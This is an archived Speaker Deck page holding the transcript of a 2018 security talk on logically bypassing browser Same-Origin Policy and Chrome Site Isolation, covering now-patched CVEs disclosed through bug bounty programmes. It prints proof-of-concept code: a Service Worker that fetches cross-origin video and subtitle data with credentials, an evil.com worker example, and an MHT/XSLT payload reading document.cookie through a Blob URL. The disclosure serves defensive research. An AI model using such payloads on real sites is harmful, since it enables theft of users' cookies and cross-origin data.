

# Logically Bypassing Browser Security Boundaries

**Logically Bypassing Browser Security Boundaries** - @speakerdeck, Jun Kokatsu, Speaker Deck.

- Published: 2018-10-28
- Original: <<https://speakerdeck.com/shhnjk/logically-bypassing-browser-security-boundaries>>
- Preserved from: <https://speakerdeck.com/shhnjk/logically-bypassing-browser-security-boundaries> (live) on 2026-08-06
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Top 10 Web Hacking Techniques lists, kept so the page going offline. To read the original, follow the link above.

## Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Logically Bypassing Browser Security Boundaries - Speaker Deck

## Logically Bypassing Browser Security Boundaries

This talk was presented at bugSWAT. Video of the talk is at <https://youtu.be/B5ZyYTKp4gc>

Talk features: Password manager issue with iframe/CSP sandbox <https://crbug.com/825258>, [https://bugzilla.mozilla.org/show\\_bug.cgi?id=1426767](https://bugzilla.mozilla.org/show_bug.cgi?id=1426767) Stealing audio data with HTTP redirect CVE-2018-6161, CVE-2018-4278 Multiple SOP bypasses with Service Worker CVE-2018-6093, CVE-2018-6099, CVE-2018-6159, CVE-2018-6164, CVE-2018-18352 SOP bypasses with HLS CVE-2018-16072, CVE-2018-4345, CVE-2018-4345 Site Isolation bypass CVE-2018-18345

[image: Avatar for Jun Kokatsu]

## Jun Kokatsu

October 28, 2018

## More Decks by Jun Kokatsu

[See All by Jun Kokatsu](#)

[

Operating Operator

](<https://speakerdeck.com/shhnjk/operating-operator>)

[ [image: Avatar for Jun Kokatsu] shhnjk ](<https://speakerdeck.com/shhnjk>)

1

1.4k

[

Piloting Edge Copilot

](https://speakerdeck.com/shhnjk/piloting-edge-copilot)

[ [\[image: Avatar for Jun Kokatsu\]](#) shhnjk ](https://speakerdeck.com/shhnjk)

1

1.4k

[

Same-Origin Cross-Context Scripting

](https://speakerdeck.com/shhnjk/same-origin-cross-context-scripting)

[ [\[image: Avatar for Jun Kokatsu\]](#) shhnjk ](https://speakerdeck.com/shhnjk)

0

1.1k

[

The world of Site Isolation and compromised renderer

](https://speakerdeck.com/shhnjk/the-world-of-site-isolation-and-compromised-renderer)

[ [\[image: Avatar for Jun Kokatsu\]](#) shhnjk ](https://speakerdeck.com/shhnjk)

1

3.1k

[

Site Isolationの話

](https://speakerdeck.com/shhnjk/site-isolationfalsehua)

[ [\[image: Avatar for Jun Kokatsu\]](#) shhnjk ](https://speakerdeck.com/shhnjk)

5

2.1k

[

ブラウザセキュリティ機能はバイパスされる為にある

](https://speakerdeck.com/shhnjk/burauzasekiyuriteiji-neng-ha-baipasusareruwei-niaru)

[ [\[image: Avatar for Jun Kokatsu\]](#) shhnjk ](https://speakerdeck.com/shhnjk)

8

4.1k

## Other Decks in Research

---

[See All in Research](#)

[

[BlackHatAsia2026] Hidden Telemetry: Uncovering TraceLogging ETW Providers You're Not Using (Yet)  
]([https://speakerdeck.com/asuna\\_jp/blackhataasia2026-hidden-telemetry-uncovering-tracelogging-etw-providers-youre-not-using-yet](https://speakerdeck.com/asuna_jp/blackhataasia2026-hidden-telemetry-uncovering-tracelogging-etw-providers-youre-not-using-yet))

[ [\[image: Avatar for Asuka Nakajima\]](#) asuna\_jp ]([https://speakerdeck.com/asuna\\_jp](https://speakerdeck.com/asuna_jp))

1

630

[

LA-Bench 2025: 実験指示から実行可能手順を生成するためのデータセット/LA-Bench 2025: A Dataset for Generating Executable Experimental Procedures from Experimental Instructions

](<https://speakerdeck.com/stktu/la-bench-2025-a-dataset-for-generating-executable-experimental-procedures-from-experimental-instructions>)

[ [\[image: Avatar for Shota Kato\]](#) stktu ](<https://speakerdeck.com/stktu>)

0

110

[

typst の使い方: 言語学を研究する学生のために

](<https://speakerdeck.com/gitomochang/typst-noshi-ifang-yan-yu-xue-woyan-jiu-suruxue-sheng-notameni>)

[ [\[image: Avatar for Tomoya\]](#) gitomochang ](<https://speakerdeck.com/gitomochang>)

0

540

[

LLM の Attention 機構まとめ — 数式・計算量・メモリ

](<https://speakerdeck.com/puwaer/llm-no-attention-ji-gou-matome-shu-shi-ji-suan-liang-memori>)

[ [\[image: Avatar for プワ ー\]](#) puwaer ](<https://speakerdeck.com/puwaer>)

8

2.4k

[

さくらインターネット研究所テックトーク2026春、研究開発Gr.25年度成果26年度方針

](<https://speakerdeck.com/kikuzo/sakuraintanetutoyan-jiu-suo-tetukutoku2026chun-yan-jiu-kai-fa-gr-dot-25nian-du-cheng-guo-26nian-du-fang-zhen>)

[ [\[image: Avatar for KIKUCHI Shunsuke\]](#) kikuzo ](<https://speakerdeck.com/kikuzo>)

0

170

[

2026年度 生成AI を活用した論文執筆ガイド／ワークショップ / 2026 Academic Year Guide to Writing Papers Using Generative AI - Workshop

](<https://speakerdeck.com/ks91/2026-academic-year-guide-to-writing-papers-using-generative-ai-workshop>)

[ [\[image: Avatar for Kenji Saito\]](#) ks91 ](<https://speakerdeck.com/ks91>)

PRO

0

200

[

Language and AI

](<https://speakerdeck.com/ayaniwa/language-and-ai>)

[ [\[image: Avatar for Ayana Niwa\]](#) ayaniwa ](<https://speakerdeck.com/ayaniwa>)

0

190

[

[CV勉強会@関東 CVPR2026] PSDesigner: Automated Graphic Design with a Human-Like Creative Workflow / kantocv 67th CVPR 2026

](<https://speakerdeck.com/shunk031/kantocv-67th-cvpr-2026>)

[ [\[image: Avatar for Shunsuke KITADA\]](#) shunk031 ](<https://speakerdeck.com/shunk031>)

0

220

[

長時間動画QAにおけるマルチエージェント推論・SVAgent: Storyline-Guided Long Video Understanding via Cross-Modal Multi-Agent Collaboration

](<https://speakerdeck.com/murakawatakuya/chang-shi-jian-dong-hua-qaniokerumarutiezientotui-lun-svagent-storyline-guided-long-video-understanding-via-cross-modal-multi-agent-collaboration>)

[ [\[image: Avatar for 村川卓也\]](#) murakawatakuya ](<https://speakerdeck.com/murakawatakuya>)

1

180

[

nlp2026 In-Context Learningに基づく経路案内のための地理的知識の活用方法に関する検討

](https://speakerdeck.com/takashiinui/nlp2026-in-context-learningniji-dukujing-lu-an-nei-notamenodi-li-de-zhi-shi-nohuo-yong-fang-fa-niguan-surujian-tao)

[ [\[image: Avatar for Takashi INUI\]](#) takashiinui ](https://speakerdeck.com/takashiinui)

0

120

[

重要だけど測れていないもの：高齢者ケアの見えない課題

](https://speakerdeck.com/theoriatec2024/zhong-yao-dakedoce-reteinaimono-gao ling-zhe-keanojian-enaiketi)

[ [\[image: Avatar for テオリア・テクノロジーズ\]](#) theoriatec2024 ]

(https://speakerdeck.com/theoriatec2024)

0

440

[

EIRによる不正端末のブロッキング 5G時代におけるデバイス識別と不正対策の進化

](https://speakerdeck.com/stellarcraft/eirniokerubu-zheng-duan-mo-noburotukingu-5gshi-dai-niokerudebaisushi-bie-tobu-zheng-dui-ce-nojin-hua)

[ [\[image: Avatar for Stellar Craft, Inc.\]](#) stellarcraft ](https://speakerdeck.com/stellarcraft)

0

110

## Featured

---

[See All Featured](#)

[

Navigating Weather and Climate Data

](https://speakerdeck.com/rabernat/navigating-weather-and-climate-data)

[ [\[image: Avatar for Ryan Abernathey\]](#) rabernat ](https://speakerdeck.com/rabernat)

0

440

[

Building Applications with DynamoDB

](https://speakerdeck.com/mza/building-applications-with-dynamodb)

[ [\[image: Avatar for Matt Wood\]](#) mza ](https://speakerdeck.com/mza)

96

7.2k

[

The Limits of Empathy - UXLibs8

](https://speakerdeck.com/cassininazir/the-limits-of-empathy-uxlibs8)

[ [\[image: Avatar for Cassini Nazir\]](#) cassininazir ](https://speakerdeck.com/cassininazir)

1

580

[

BBQ

](https://speakerdeck.com/matthewcrist/bbq)

[ [\[image: Avatar for Matthew Crist\]](#) matthewcrist ](https://speakerdeck.com/matthewcrist)

89

10k

[

Money Talks: Using Revenue to Get Sh\*t Done

](https://speakerdeck.com/nikkiahaliwell/money-talks-using-revenue-to-get-sh-star-t-done)

[ [\[image: Avatar for Nikki Halliwell\]](#) nikkiahaliwell ](https://speakerdeck.com/nikkiahaliwell)

0

450

[

Leveraging Curiosity to Care for An Aging Population

](https://speakerdeck.com/cassininazir/leveraging-curiosity-to-care-for-an-aging-population)

[ [\[image: Avatar for Cassini Nazir\]](#) cassininazir ](https://speakerdeck.com/cassininazir)

1

450

[

Lightning talk: Run Django tests with GitHub Actions

](https://speakerdeck.com/sabderemane/lightning-talk-run-django-tests-with-github-actions)

[ [\[image: Avatar for Sarah Abderemane\]](#) sabderemane ](https://speakerdeck.com/sabderemane)

0

230

[

Building Adaptive Systems

](https://speakerdeck.com/keathley/building-adaptive-systems)

[ [\[image: Avatar for Chris Keathley\]](#) keathley ](https://speakerdeck.com/keathley)

44

3.2k

[

Claude Code どこまでも / Claude Code Everywhere

](https://speakerdeck.com/nwiizo/claude-everywhere)

[ [\[image: Avatar for nwiizo\]](#) nwiizo ](https://speakerdeck.com/nwiizo)

66

57k

[

svc-hook: hooking system calls on ARM64 by binary rewriting

](https://speakerdeck.com/retrage/svc-hook-hooking-system-calls-on-arm64-by-binary-rewriting)

[ [\[image: Avatar for Akira Moroo\]](#) retrage ](https://speakerdeck.com/retrage)

2

430

[

Information Architects: The Missing Link in Design Systems

](https://speakerdeck.com/soysaucechin/information-architects-the-missing-link-in-design-systems)

[ [\[image: Avatar for Michelle Chin\]](#) soysaucechin ](https://speakerdeck.com/soysaucechin)

0

1k

[

Into the Great Unknown - MozCon

](https://speakerdeck.com/thekraken/into-the-great-unknown-mozcon)

[ [\[image: Avatar for Noah Learner\]](#) thekraken ](https://speakerdeck.com/thekraken)

41

2.7k

## Transcript

---

-

## Logically Bypassing Browser Security Boundaries

-

> **self.toString()** < "Jun Kokatsu (@shhnjk)" < "Browser Vulnerability Research

Team at Microsoft" < "Chrome VRP participant" < "Japanese Manga addict"

-

> **self.toString()** < "Jun Kokatsu (@shhnjk)" < "Browser Vulnerability Research

Team at Microsoft" < "Chrome VRP participant" < "Japanese Manga addict"

-

## **Agenda 1. What is Same-Origin Policy? 2. Simple concept of**

SOP bypass 3. Apply concept to find bugs 4. What is Site Isolation? 5. Site Isolation bypass 6. Wrap up

-

**Same-Origin Policy Scheme + Host + Port = Origin <https://www.example.com:443>**

-

## **Scope of SOP • Evil.com shouldn't be able to access**

resources loaded from Example.com • Same-Origin Policy is applied everywhere in a webpage

-

## **Simple concept of SOP bypass • The core concept of**

SOP is to compare given URLs • Does URL always reflect the right origin? • Is there any way to confuse browser?

-

## **1. iframe/CSP sandbox iframe/CSP sandbox is a way to treat**

specific contents as being from a unique origin <iframe src="https://www.example.com/untrusted.html" sandbox="allow-scripts"></iframe> OR Content-Security-Policy: sandbox allow-scripts; location.href // "https://www.example.com/untrusted.html" self.origin // "null"

-

## **Use case of CSP sandbox <https://www.Dropbox.com/enterprise> • Dropbox uses CMS**

in "/enterprise" • CSP sandbox mitigates exploitability of XSS in third-party CMS contents Devdatta Akhawe: How I learnt to play in the (CSP) Sandbox <https://youtu.be/fbhW37JZtSA>

-

## **Stealing password from sandbox • Every browser has a built-in**

password manager • Most of browsers only checked the origin based on URL Resulted in auto-filling a password saved in main content to sandboxed content. Affected: iOS only

-

## **2. Time-of-check Time-of-use • Web page can load sub-resources from**

other site • We need a Magic to swap a sub-resource after security checks

-

### **Magic1: HTTP Redirect Status: 302 Location: <https://example.com/secret.jpg>**

-

### **Stealing cross-origin audio data Web Audio API allows access to**

audio data loaded in <audio> or <video> • Chrome only did security check against initial URL of media resource

-

### **Stealing cross-origin audio data Web Audio API allows access to**

audio data loaded in <audio> or <video> • Chrome only did security check against initial URL of media resource • Webkit didn't have a security check of audio data access

-

### **Stealing cross-origin audio data Web Audio API allows access to**

audio data loaded in <audio> or <video> • Chrome only did security check against initial URL of media resource • Webkit didn't have a security check of audio data access Resulted in leaking audio data of cross-origin audio/video Affected: \$2000

-

### **Magic2: Service Worker • Service Worker is a script that**

gets registered and runs in the background • It has an ability to intercept requests within its scope and respond to it

```
<script> navigator.serviceWorker.register("https://www.example.com/Service_Worker.js");  
// Scope: https://www.example.com/ </script> // https://www.example.com/Service_Worker.js  
if(event.request.url == "https://www.example.com/"){ event.respondWith(  
fetch("https://www.example.com/landing_page.html") ); }
```

-

### **Magic2: Service Worker Service worker can respond with cross-origin resource**

in two cases 1. If a cross-origin resource allows access with CORS 2. If the request's destination supports "no-cors" request

```
// https://evil.com/Service_Worker.js event.respondWith(
```

```
fetch("https://example.com/") ); // Access-Control-Allow-Origin: * // https://evil.com/Service_Worker.js
event.respondWith( fetch("https://example.com/", {mode: "no-cors"}) );
```

-

None

-

### **Stealing multiple sub-resources Chrome missed to check tainted response in**

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass )

-

### **Stealing multiple sub-resources Chrome missed to check tainted response in**

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass ) • Audio and video through captureStream method

-

### **Stealing multiple sub-resources Chrome missed to check tainted response in**

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass ) • Audio and video through captureStream method • Content of WebVTT file

-

### **Stealing multiple sub-resources Chrome missed to check tainted response in**

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass ) • Audio and video through captureStream method • Content of WebVTT file • Content of CSS file

-

### **Stealing multiple sub-resources Chrome missed to check tainted response in**

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass ) • Audio and video through captureStream method • Content of WebVTT file • Content of CSS file • Response size of arbitrary resource

-

### **Stealing multiple sub-resources Chrome missed to check tainted response in**

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass ) • Audio and video through captureStream method • Content of WebVTT file • Content of CSS file • Response size of arbitrary resource Affected: \$8000

-

**<video id="leftVideo" style="visibility:hidden" autoplay controls muted><source id="src" type="video/mp4"></video> <video id="result"**

**controls autoplay><track src="/vtt" kind="subtitles" srclang="en" label="English" id="entrack" />**  
**</video> <script> navigator.serviceWorker.register('/video\_poc.js').then( () => { setTimeout( () =>**  
**{document.getElementById('leftVideo').src="/video";}, 500); });}; var leftVideo =**  
**document.getElementById('leftVideo'); var stream; var mediaRecorder; chunks = []; function**  
**maybeCreateStream() { if (stream) { return; } stream = leftVideo.captureStream(); mediaRecorder = new**  
**MediaRecorder(stream); mediaRecorder.start(); mediaRecorder.ondataavailable = e => {**  
**chunks.push(e.data); function blobToDataURL(callback) { var reader = new FileReader(); reader.onload =**  
**e => {callback(e.target.result);} reader.readAsDataURL(chunks[0]); } blobToDataURL(dataurl => {**  
**document.getElementById('result').src = dataurl; }); }; } leftVideo.oncanplay = maybeCreateStream; if**  
**(leftVideo.readyState >= 3) { maybeCreateStream(); } </script>**

**// video\_poc.js => { if(e.request.url.endsWith("video")){ e.respondWith(fetch("https://storage.cloud.google.com/shhnjk/roll%20safe.mp4",{mode: "no-cors",**

**credentials: "include"})); }else if(e.request.url.endsWith("vtt")){**  
**e.respondWith(fetch("https://storage.cloud.google.com/shhnjk/secret.vtt",{mode: "no-cors", credentials:**  
**"include"})); } } // WebVTT stealing part function go(){ var myTrack =**  
**document.getElementById("entrack").track; var myCues = myTrack.cues; for (var i = 0; i < myCues.length;**  
**i++) { document.body.innerHTML += "VTT content: "+myCues[i].getCueAsHTML().textContent + "**  
**<br/>"; } }**

### **Magic3: Weird file format (HLS) HTTP Live Streaming is a**

playlist-based video file made by Apple

### **Magic3: Weird file format (HLS) HTTP Live Streaming is a**

playlist-based video file made by Apple main.m3u8 video.m3u8 Actual video file audio.m3u8 Actual  
audio file <video controls> <source src="/main.m3u8"> </video>

### **Magic3: Weird file format (HLS)**

### **Stealing audio and video again • Chrome uses Android's media**

player for HLS and leaked video

## Stealing audio and video again • Chrome uses Android's media

player for HLS and leaked video • Firefox uses third-party player for HLS and leaked audio

-

## Stealing audio and video again • Chrome uses Android's media

player for HLS and leaked video • Firefox uses third-party player for HLS and leaked audio • Webkit has native HLS implementation, yet leaked video.

-

## Stealing audio and video again • Chrome uses Android's media

player for HLS and leaked video • Firefox uses third-party player for HLS and leaked audio • Webkit has native HLS implementation, yet leaked video. Affected: \$10000

-

## What is Site Isolation? Site Isolation is a security feature

in Chrome which mitigates Spectre, UXSS, etc, by strictly separating renderer process per Site Scheme + eTLD+1 = "Site" in Site Isolation <https://www.example.com:443>

<https://www.chromium.org/developers/design-documents/site-isolation>

-

## UXSS should be alive! Tested Site Isolation with old UXSS

in Chrome 61 <https://github.com/Bo0oM/CVE-2017-5124> > document.domain

-

## UXSS should be alive! Tested Site Isolation with old UXSS

in Chrome 61 <https://github.com/Bo0oM/CVE-2017-5124> > document.domain < "google.com" >

-

## UXSS should be alive! Tested Site Isolation with old UXSS

in Chrome 61 <https://github.com/Bo0oM/CVE-2017-5124> > document.domain < "google.com" >  
document.cookie

-

## UXSS should be alive! Tested Site Isolation with old UXSS

in Chrome 61 <https://github.com/Bo0oM/CVE-2017-5124> > document.domain < "google.com" >  
document.cookie

-

## Pinging a friend Me: Hey Masato, this is fun! We

can't get cookie with UXSS because of Site Isolation! 5 mins later...

-

## Pinging a friend Me: Hey Masato, this is fun! We

can't get cookie with UXSS because of Site Isolation! 5 mins later... Masato: We can. Just need to create Blob URL and Blob URL can access it var text = `<iframe src=https://www.google.com/robots.txt>`  
`</iframe>` ; var blob = new Blob([text], {type : "text/html"}); var url = URL.createObjectURL(blob);  
location.href = url;

-

## How should we make a PoC? CVE-2017-5124 was patched. We

are left with 2 options. 1. Find new UXSS 2. Simulate renderer process compromise and replicate the same bug Finding UXSS isn't easy. And... <https://www.google.com/about/appsecurity/chrome-rewards/#special>

-

## Option 3? Me: Masato, you should just report the bug

and let Chrome folks decide if the same bug still exists.

-

## Option 3? Me: Masato, you should just report the bug

and let Chrome folks decide if the same bug still exists. Masato: I feel bad about reporting a bug without knowing anything about Site Isolation... Me:

-

## Option 4?

-

## Wait, is UXSS dead? Asked @nasko if compromised renderer should

be able to perform cross-site UXSS after Site Isolation

-

## Wait, is UXSS dead? Asked @nasko if compromised renderer should

be able to perform cross-site UXSS after Site Isolation

-

## Wait, is UXSS dead? Asked @nasko if compromised renderer should

be able to perform cross-site XSS after Site Isolation

## Understanding CVE-2017-5124 MIME-Version: 1.0 Content-Type: multipart/related; type="text/html";boundary="----MultipartBoundary--" -----MultipartBoundary-- Content-Type: application/xml

```
<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [ <!ATTLIST xml:stylesheet id ID #REQUIRED> ]> <xml:stylesheet id="stylesheet"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="*"> <html><iframe
style="display:none" src="https://google.com"></iframe></html> </xsl:template> </xsl:stylesheet> --
----MultipartBoundary-- Content-Type: text/html Content-Location: https://www.google.com
<script>alert(document.cookie)</script> -----MultipartBoundary---- Browser process Renderer
process 1 https://evil.com <iframe> https://www.google.com Process for "https://evil.com" Cookie for
google.com please! Your process is for evil.com. Die! PoC.mht
```

## Understanding SI bypass Cookie for google.com please! MIME-Version: 1.0 Content-Type:

```
multipart/related; type="text/html";boundary="----MultipartBoundary--" -----MultipartBoundary--
Content-Type: application/xml; <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet
type="text/xml" href="#stylesheet"?> <!DOCTYPE catalog [ <!ATTLIST xml:stylesheet id ID #REQUIRED>
]> <xml:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template
match="*"> <html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template> </xsl:stylesheet> -----MultipartBoundary-- Content-Type: text/html Content-Location:
https://www.google.com <script> var blob = new Blob([ <iframe
src=https://www.google.com/robots.txt></iframe> ], {type : "text/html"}); location.href =
URL.createObjectURL(blob); </script> -----MultipartBoundary---- Browser process Renderer process 1
https://evil.com <iframe> Process for "https://evil.com" Blob URL for google.com please! No problem
https://www.google.com
```

## Understanding SI bypass Cookie for google.com please! MIME-Version: 1.0 Content-Type:

```
multipart/related; type="text/html";boundary="----MultipartBoundary--" -----MultipartBoundary--
Content-Type: application/xml; <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet
type="text/xml" href="#stylesheet"?> <!DOCTYPE catalog [ <!ATTLIST xml:stylesheet id ID #REQUIRED>
]> <xml:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template
match="*"> <html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template> </xsl:stylesheet> -----MultipartBoundary-- Content-Type: text/html Content-Location:
https://www.google.com <script> var blob = new Blob([ <iframe
src=https://www.google.com/robots.txt></iframe> ], {type : "text/html"}); location.href =
```

URL.createObjectURL(blob); </script> -----MultipartBoundary---- Browser process Renderer process 2  
blob:https://www.google.com <iframe> Process for "https://google.com" Cookie for google.com please!  
No problem https://www.google.com

-

## **But how? 1. Blob URL is created inside renderer process**

-

## **But how? 1. Blob URL is created inside renderer process**

1. Browser process missed to check "Site" for process when verifying Blob URL created by renderer process

-

## **But how? 1. Blob URL is created inside renderer process**

1. Browser process missed to check "Site" for process when verifying Blob URL created by renderer process \$8000

-

## **But how? 1. Blob URL is created inside renderer process**

1. Browser process missed to check "Site" for process when verifying Blob URL created by renderer process Live Demo! \$8000

-

## **What Site Isolation protects? As of Chrome 70, Site Isolation**

protect against: 1. Spectre 2. UXSS (or maybe not?) But it doesn't fully protect against renderer process compromise. Yet, it has some protections (e.g. UXSS, cookie access).

-

## **Wrap up 1. SOP bypass isn't only about DOM access.**

Check sub-resource access too. 2. Site Isolation is an interesting and important protection. You should poke around.

-

## **Acknowledgements • SW origin confusion technique [crbug.com/598077](https://crbug.com/598077) • @i\_bo0m for**

the UXSS in Chrome 61 (CVE-2017-5124) • @kinugawamasato, finder of Site Isolation bypass • @jaffathecake, [jakearchibald.com/2018/i-discovered-a-browser-bug/](https://jakearchibald.com/2018/i-discovered-a-browser-bug/) • Thanks Chrome Security team, Mozilla Security team, and Apple Product Security team! • Thanks Google VRP!!

-

## Questions? Let me Bing it for you

---

Archived from <https://speakerdeck.com/shhnjk/logically-bypassing-browser-security-boundaries>. Rendered offline from the local Markdown copy.